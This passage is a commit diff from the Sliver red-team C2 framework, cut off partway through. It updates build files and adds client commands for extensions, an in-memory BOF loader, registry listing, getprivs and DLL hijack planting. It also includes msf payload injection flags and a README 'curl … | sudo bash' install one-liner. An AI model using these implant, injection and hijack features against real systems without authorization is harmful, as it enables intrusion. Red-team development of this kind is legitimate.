Update COFFLoader version, add it back to go-assets.sh

Getprivs: Cleanup and Adding Process Name

.dockerignore

@@ -1,28 +1,21 @@
-assets/*.zip
-assets/darwin
-assets/linux
-assets/windows
-server/assets/fs/**.zip
+/server/assets/fs/**.zip
 
-*.sdk.tar.xz
+/*.sdk.tar.xz
 
-sliver-server
-sliver-server.exe
+/sliver-server
+/sliver-server.exe
 
-sliver-client
-sliver-client.exe
+/sliver-client
+/sliver-client.exe
 
-gui/
-gui/*
+/.vscode/
+/.vscode/*
 
-.vscode/
-.vscode/*
+/.github/
+/.github/*
 
-.github/
-.github/*
-
-build.py
-LICENSE
-SECURITY.md
-README.md
-CONTRIBUTING.md
+/build.py
+/LICENSE
+/SECURITY.md
+/README.md
+/CONTRIBUTING.md

.github/workflows/autorelease.yml

@@ -14,10 +14,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
@@ -59,10 +59,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64

.github/workflows/codeql-scanning.yml

@@ -17,10 +17,10 @@ jobs:
 
     steps:
       # Setup go environment
-      - name: Go 1.16
+      - name: Go 1.17
         uses: actions/setup-go@v2
         with:
-          go-version: "^1.16"
+          go-version: "^1.17"
 
       - name: Checkout repository
         uses: actions/checkout@v2

.github/workflows/go.yml

@@ -15,10 +15,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
     
     - name: OS Packages 
       run: |
@@ -50,10 +50,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.16
+    - name: Go 1.17
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.16'
+        go-version: '^1.17'
 
     - name: Mingw
       run: brew install mingw-w64

.gitignore

@@ -1,10 +1,10 @@
-.vscode/*
-.devcontainer
+/.vscode/*
+/.devcontainer
 
-Dockerfile.*
-*.sdk.tar.xz
+/Dockerfile.*
+/*.sdk.tar.xz
 
-release-*
+/release-*
 
 # Diffs
 *.orig
@@ -30,10 +30,10 @@ sliver-server-windows.zip
 *.dylib
 
 # Test binary, build with `go test -c`
-*.test
+/*.test
 
 # Output of the go coverage tool, specifically when used with LiteIDE
-*.out
+/*.out
 
 # Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
 .glide/

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.16.5
+FROM golang:1.17
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
 # > Sliver
 #
 
-# protoc
+# Protoc
 WORKDIR /tmp
 RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
     && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
     && cp -vv ./bin/protoc /usr/local/bin
-
 RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
     && go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
 
-# assets
+# Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
 ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
 RUN ./go-assets.sh
 
+# Compile sliver server
 ADD . /go/src/github.com/bishopfox/sliver/
-RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
+RUN make \
+    && cp -vv sliver-server /opt/sliver-server \
+    && /opt/sliver-server unpack --force 
 
-RUN ls -lah \
-    && /opt/sliver-server unpack --force \
-    && /go/src/github.com/bishopfox/sliver/go-tests.sh
+# Run unit tests
+RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
+
+# Clean up
 RUN make clean \
     && rm -rf /go/src/* \
     && rm -rf /home/sliver/.sliver

README.md

@@ -1,7 +1,7 @@
 Sliver
 ======
 
-Sliver is an open source, cross-platform adversary emulation/red team platform, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
+Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
 
 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
 
@@ -15,7 +15,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
 * Staged and Stageless payloads
 * [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
 * [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
-* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
+* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
 * Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
 * Local and remote process injection
 * Windows process migration
@@ -28,6 +28,10 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
 
 Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
 
+#### Linux One Liner
+
+`curl https://sliver.sh/install|sudo bash` and then run `sliver`
+
 ### Help!
 
 Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.

client/README.md

@@ -6,11 +6,13 @@ This directory contains the client implementation, pretty much all of this code
 __Important:__ No code in this directory can import any code from `server/`.
 
  * `assets/` - Static asset files and management code (e.g. client configs)
- * `command/` - Command implementations
+ * `cli/` - Command line interface implementation
+ * `command/` - Console command implementations
  * `constants/` - Various shared constant values
  * `core/` - Client state management
- * `help/` - Console help
+ * `licenses/` - Open source licenses 
  * `spin/` - Console spinner library
+ * `tcpproxy/` - Local TCP proxy listener code
  * `transport/` - Wires the client to the server
  * `version/` - Version information
  * `main.go` - Entrypoint

client/assets/.gitignore

@@ -0,0 +1,9 @@
+fs/*.zip
+fs/extensions/darwin/amd64/
+fs/extensions/darwin/arm64/
+fs/extensions/linux/amd64/
+fs/extensions/windows/amd64/
+fs/extensions/darwin/386/
+fs/extensions/darwin/386/
+fs/extensions/linux/386/
+fs/extensions/windows/386/

client/assets/assets.go

@@ -19,15 +19,29 @@ package assets
 */
 
 import (
+	"embed"
+	"fmt"
+	"io/ioutil"
 	"log"
 	"os"
 	"os/user"
 	"path"
+	"strings"
+
+	ver "github.com/bishopfox/sliver/client/version"
+)
+
+var (
+	//go:embed fs/extensions/*
+	assetsFs embed.FS
 )
 
 const (
 	// SliverClientDirName - Directory storing all of the client configs/logs
 	SliverClientDirName = ".sliver-client"
+	// SliverExtensionsDirName - Directory storing the client side extensions
+	SliverExtensionsDirName = "extensions"
+	versionFileName         = "version"
 )
 
 // GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
@@ -42,3 +56,89 @@ func GetRootAppDir() string {
 	}
 	return dir
 }
+
+// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
+func GetExtensionsDir() string {
+	user, _ := user.Current()
+	dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
+	if _, err := os.Stat(dir); os.IsNotExist(err) {
+		err = os.MkdirAll(dir, 0700)
+		if err != nil {
+			log.Fatal(err)
+		}
+	}
+	return dir
+}
+
+func assetVersion() string {
+	appDir := GetRootAppDir()
+	data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
+	if err != nil {
+		return ""
+	}
+	return strings.TrimSpace(string(data))
+}
+
+func saveAssetVersion(appDir string) {
+	versionFilePath := path.Join(appDir, versionFileName)
+	fVer, _ := os.Create(versionFilePath)
+	defer fVer.Close()
+	fVer.Write([]byte(ver.GitCommit))
+}
+
+// Setup - Extract or create local assets
+func Setup(force bool, echo bool) {
+	appDir := GetRootAppDir()
+	localVer := assetVersion()
+	if force || localVer == "" || localVer != ver.GitCommit {
+		if echo {
+			fmt.Printf("Unpacking assets ...\n")
+		}
+		err := setupCoffLoaderExt(appDir)
+		if err != nil {
+			fmt.Println(err)
+			log.Fatal(err)
+		}
+		saveAssetVersion(appDir)
+	}
+}
+
+func setupCoffLoaderExt(appDir string) error {
+	extDir := GetExtensionsDir()
+	win32ExtDir := path.Join("windows", "386")
+	win64ExtDir := path.Join("windows", "amd64")
+	coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
+	coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
+	manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
+	loader64, err := assetsFs.ReadFile(coffLoader64)
+	if err != nil {
+		return err
+	}
+	loader32, err := assetsFs.ReadFile(coffLoader32)
+	if err != nil {
+		return err
+	}
+	manifest, err := assetsFs.ReadFile(manifestPath)
+	if err != nil {
+		return err
+	}
+	localWin32ExtDir := path.Join(extDir, win32ExtDir)
+	err = os.MkdirAll(localWin32ExtDir, 0700)
+	if err != nil {
+		return err
+	}
+	localWin64ExtDir := path.Join(extDir, win64ExtDir)
+	err = os.MkdirAll(localWin64ExtDir, 0700)
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
+	if err != nil {
+		return err
+	}
+	err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
+	if err != nil {
+		return err
+	}
+	return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
+}

client/assets/fs/extensions/manifest.json

@@ -0,0 +1,16 @@
+[
+    {
+        "name": "coff-loader",
+        "help": "Load and execute Beacon Object Files (BOFs) in memory.",
+        "entrypoint": "LoadAndRun",
+        "extFiles": [
+            {
+                "os": "windows",
+                "files": {
+                    "x64": "COFFLoader.x64.dll",
+                    "x86": "COFFLoader.x86.dll"
+                }
+            }
+        ]
+    }
+]

client/cli/cli.go

@@ -82,7 +82,7 @@ var rootCmd = &cobra.Command{
 func StartClientConsole() error {
 	configs := assets.GetConfigs()
 	if len(configs) == 0 {
-		fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
+		fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
 		return nil
 	}
 	config := selectConfig()
@@ -93,11 +93,11 @@ func StartClientConsole() error {
 	fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
 	rpc, ln, err := transport.MTLSConnect(config)
 	if err != nil {
-		fmt.Printf("Connection to server failed %v", err)
+		fmt.Printf("Connection to server failed %s", err)
 		return nil
 	}
 	defer ln.Close()
-	return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
+	return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
 }
 
 // Execute - Execute root command

client/command/commands.go

@@ -36,16 +36,20 @@ package command
 import (
 	"os"
 
+	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/backdoor"
+	"github.com/bishopfox/sliver/client/command/dllhijack"
 	"github.com/bishopfox/sliver/client/command/environment"
 	"github.com/bishopfox/sliver/client/command/exec"
 	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/command/filesystem"
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/help"
+	"github.com/bishopfox/sliver/client/command/hosts"
 	"github.com/bishopfox/sliver/client/command/info"
 	"github.com/bishopfox/sliver/client/command/jobs"
 	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/bishopfox/sliver/client/command/macros"
 	"github.com/bishopfox/sliver/client/command/monitor"
 	"github.com/bishopfox/sliver/client/command/network"
 	"github.com/bishopfox/sliver/client/command/operators"
@@ -81,6 +85,14 @@ func BindCommands(con *console.SliverConsoleClient) {
 		con.PrintInfof("Loaded %d reaction(s) from disk\n", n)
 	}
 
+	// Attempt to load extensions from ~/.sliver-client/extensions/
+	exts, err := extensions.ParseExtensions(assets.GetExtensionsDir())
+	// Absorb error in case there's no extensions manifest
+	if err == nil {
+		for _, ext := range exts {
+			extensions.RegisterExtensionCommand(ext, con)
+		}
+	}
 	con.App.SetPrintHelp(help.HelpCmd(con)) // Responsible for display long-form help templates, etc.
 
 	// [ Update ] --------------------------------------------------------------
@@ -148,7 +160,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Start an mTLS listener",
 		LongHelp: help.GetHelpFor([]string{consts.MtlsStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("s", "server", "", "interface to bind server to")
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultMTLSLPort, "tcp listen port")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -168,9 +180,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Start a WireGuard listener",
 		LongHelp: help.GetHelpFor([]string{consts.WGStr}),
 		Flags: func(f *grumble.Flags) {
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultWGLPort, "udp listen port")
 			f.Int("n", "nport", generate.DefaultWGNPort, "virtual tun interface listen port")
-			f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun inteface key exchange port")
+			f.Int("x", "key-port", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("p", "persistent", false, "make persistent across restarts")
 		},
@@ -190,6 +203,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("d", "domains", "", "parent domain(s) to use for DNS c2")
 			f.Bool("c", "no-canaries", false, "disable dns canary detection")
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -211,6 +225,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("d", "domain", "", "limit responses to specific domain")
 			f.String("w", "website", "", "website name (see websites cmd)")
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
@@ -232,6 +247,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("d", "domain", "", "limit responses to specific domain")
 			f.String("w", "website", "", "website name (see websites cmd)")
+			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
 
 			f.String("c", "cert", "", "PEM encoded certificate file")
@@ -606,7 +622,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Load and execute a shared object (shared library/DLL) in a remote process",
 		LongHelp: help.GetHelpFor([]string{consts.SideloadStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("a", "args", "", "Arguments for the shared library function")
 			f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
 			f.Bool("s", "save", false, "save output to file")
@@ -615,6 +630,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		Args: func(a *grumble.Args) {
 			a.String("filepath", "path the shared library file")
+			a.StringList("args", "arguments for the binary", grumble.Default([]string{}))
 		},
 		HelpGroup: consts.SliverHelpGroup,
 		Run: func(ctx *grumble.Context) error {
@@ -674,7 +690,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.MsfStr}),
 		Flags: func(f *grumble.Flags) {
 			f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
-			f.String("o", "lhost", "", "listen host")
+			f.String("L", "lhost", "", "listen host")
 			f.Int("l", "lport", 4444, "listen port")
 			f.String("e", "encoder", "", "msf encoder")
 			f.Int("i", "iterations", 1, "iterations of the encoder")
@@ -697,7 +713,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.Int("p", "pid", -1, "pid to inject into")
 			f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
-			f.String("o", "lhost", "", "listen host")
+			f.String("L", "lhost", "", "listen host")
 			f.Int("l", "lport", 4444, "listen port")
 			f.String("e", "encoder", "", "msf encoder")
 			f.Int("i", "iterations", 1, "iterations of the encoder")
@@ -818,8 +834,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("o", "os", "windows", "operating system")
 			f.String("a", "arch", "amd64", "cpu architecture")
-			f.String("l", "lhost", "", "Listening host")
-			f.Int("p", "lport", 8443, "Listening port")
+			f.String("L", "lhost", "", "Listening host")
+			f.Int("l", "lport", 8443, "Listening port")
 			f.String("r", "protocol", "tcp", "Staging protocol (tcp/http/https)")
 			f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
 			f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
@@ -1033,6 +1049,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.LsStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Bool("r", "reverse", false, "reverse sort order")
+			f.Bool("m", "modified", false, "sort by modified time")
+			f.Bool("s", "size", false, "sort by size")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("path", "path to enumerate", grumble.Default("."))
@@ -1129,6 +1148,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("c", "colorize-output", false, "colorize output")
+			f.Bool("x", "hex", false, "display as a hex dump")
 			f.Bool("X", "loot", false, "save output as loot")
 		},
 		Args: func(a *grumble.Args) {
@@ -1171,6 +1191,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp: help.GetHelpFor([]string{consts.UploadStr}),
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+
+			f.Bool("i", "ioc", false, "track uploaded file as an ioc")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("local-path", "local path to the file to upload")
@@ -1519,20 +1541,20 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 	})
 
-	// [ Extensions ] ---------------------------------------------
+	// [ Macros ] ---------------------------------------------
 
 	con.App.AddCommand(&grumble.Command{
-		Name:     consts.LoadExtensionStr,
-		Help:     "Load a sliver extension",
-		LongHelp: help.GetHelpFor([]string{consts.LoadExtensionStr}),
+		Name:     consts.LoadMacroStr,
+		Help:     "Load a sliver macro",
+		LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			extensions.LoadExtensionCmd(ctx, con)
+			macros.LoadMacroCmd(ctx, con)
 			con.Println()
 			return nil
 		},
 		Args: func(a *grumble.Args) {
-			a.String("dir-path", "path to the extension directory")
+			a.String("dir-path", "path to the macro directory")
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
@@ -1637,7 +1659,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		Flags: func(f *grumble.Flags) {
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			f.String("H", "hive", "HKCU", "egistry hive")
+			f.String("H", "hive", "HKCU", "registry hive")
 			f.String("o", "hostname", "", "remote host to read values from")
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
@@ -1684,6 +1706,45 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("o", "hostname", "", "remote host to write values to")
 		},
 	})
+	registryCmd.AddCommand(&grumble.Command{
+		Name:     consts.RegistryListSubStr,
+		Help:     "List the sub keys under a registry key",
+		LongHelp: help.GetHelpFor([]string{consts.RegistryListSubStr}),
+		Args: func(a *grumble.Args) {
+			a.String("registry-path", "registry path")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			registry.RegListSubKeysCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.String("H", "hive", "HKCU", "registry hive")
+			f.String("o", "hostname", "", "remote host to write values to")
+		},
+	})
+
+	registryCmd.AddCommand(&grumble.Command{
+		Name:     consts.RegistryListValuesStr,
+		Help:     "List the values for a registry key",
+		LongHelp: help.GetHelpFor([]string{consts.RegistryListValuesStr}),
+		Args: func(a *grumble.Args) {
+			a.String("registry-path", "registry path")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			registry.RegListValuesCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.String("H", "hive", "HKCU", "registry hive")
+			f.String("o", "hostname", "", "remote host to write values to")
+		},
+	})
 	con.App.AddCommand(registryCmd)
 
 	// [ Pivots ] --------------------------------------------------------------
@@ -2067,6 +2128,70 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	con.App.AddCommand(lootCmd)
 
+	// [ Hosts ] --------------------------------------------------------------
+	hostsCmd := &grumble.Command{
+		Name:     consts.HostsStr,
+		Help:     "Manage the database of hosts",
+		LongHelp: help.GetHelpFor([]string{consts.HostsStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			hosts.HostsCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	}
+	hostsCmd.AddCommand(&grumble.Command{
+		Name:     consts.RmStr,
+		Help:     "Remove a host from the database",
+		LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.RmStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			hosts.HostsRmCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	iocCmd := &grumble.Command{
+		Name:     consts.IOCStr,
+		Help:     "Manage tracked IOCs on a given host",
+		LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			hosts.HostsIOCCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	}
+	iocCmd.AddCommand(&grumble.Command{
+		Name:     consts.RmStr,
+		Help:     "Delete IOCs from the database",
+		LongHelp: help.GetHelpFor([]string{consts.HostsStr, consts.IOCStr, consts.RmStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			hosts.HostsIOCRmCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	hostsCmd.AddCommand(iocCmd)
+	con.App.AddCommand(hostsCmd)
+
 	// [ Reactions ] -----------------------------------------------------------------
 
 	reactionCmd := &grumble.Command{
@@ -2136,4 +2261,84 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.GenericHelpGroup,
 	})
 	con.App.AddCommand(reactionCmd)
+
+	// [ DLL Hijack ] -----------------------------------------------------------------
+
+	dllhijackCmd := &grumble.Command{
+		Name:      consts.DLLHijackStr,
+		Help:      "Plant a DLL for a hijack scenario",
+		LongHelp:  help.GetHelpFor([]string{consts.DLLHijackStr}),
+		HelpGroup: consts.SliverWinHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			dllhijack.DllHijackCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Args: func(a *grumble.Args) {
+			a.String("target-path", "Path to upload the DLL to on the remote system")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.String("r", "reference-path", "", "Path to the reference DLL on the remote system")
+			f.String("R", "reference-file", "", "Path to the reference DLL on the local system")
+			f.String("f", "file", "", "Local path to the DLL to plant for the hijack")
+			f.String("p", "profile", "", "Profile name to use as a base DLL")
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	}
+	con.App.AddCommand(dllhijackCmd)
+
+	// [ Get Privs ] -----------------------------------------------------------------
+	getprivsCmd := &grumble.Command{
+		Name:      consts.GetPrivsStr,
+		Help:      "Get current privileges (Windows)",
+		LongHelp:  help.GetHelpFor([]string{consts.GetPrivsStr}),
+		HelpGroup: consts.SliverWinHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			privilege.GetPrivsCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	}
+	con.App.AddCommand(getprivsCmd)
+
+	// [ Extensions ] -----------------------------------------------------------------
+	extensionCmd := &grumble.Command{
+		Name:      consts.ExtensionStr,
+		Help:      "Manage sliver extensions",
+		LongHelp:  help.GetHelpFor([]string{consts.ExtensionStr}),
+		HelpGroup: consts.SliverHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			extensions.ListCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	}
+	extensionCmd.AddCommand(&grumble.Command{
+		Name:      consts.LoadStr,
+		Help:      "Register a new extension",
+		LongHelp:  help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
+		HelpGroup: consts.SliverHelpGroup,
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			extensions.LoadCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Args: func(a *grumble.Args) {
+			a.String("dir-path", "path to the extension directory")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+	})
+	con.App.AddCommand(extensionCmd)
 }

client/command/dllhijack/README.md

@@ -0,0 +1,4 @@
+DLL Hijack
+===========
+
+Implements command related to `dllhijack`.

client/command/dllhijack/dllhijack.go

@@ -0,0 +1,97 @@
+package dllhijack
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll  TARGET_PATH
+// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll  TARGET_PATH
+
+// DllHijackCmd -- implements the dllhijack command
+func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		localRefData  []byte
+		targetDLLData []byte
+		err           error
+	)
+	session := con.ActiveSession.GetInteractive()
+	if session == nil {
+		return
+	}
+
+	targetPath := ctx.Args.String("target-path")
+	referencePath := ctx.Flags.String("reference-path")
+	localFile := ctx.Flags.String("file")
+	profileName := ctx.Flags.String("profile")
+	localReferenceFilePath := ctx.Flags.String("reference-file")
+
+	if referencePath == "" {
+		con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
+		return
+	}
+
+	if localReferenceFilePath != "" {
+		localRefData, err = ioutil.ReadFile(localReferenceFilePath)
+		if err != nil {
+			con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
+			return
+		}
+	}
+
+	if localFile != "" {
+		if profileName != "" {
+			con.PrintErrorf("please use either --profile or --File")
+			return
+		}
+		targetDLLData, err = ioutil.ReadFile(localFile)
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err)
+			return
+		}
+	}
+
+	ctrl := make(chan bool)
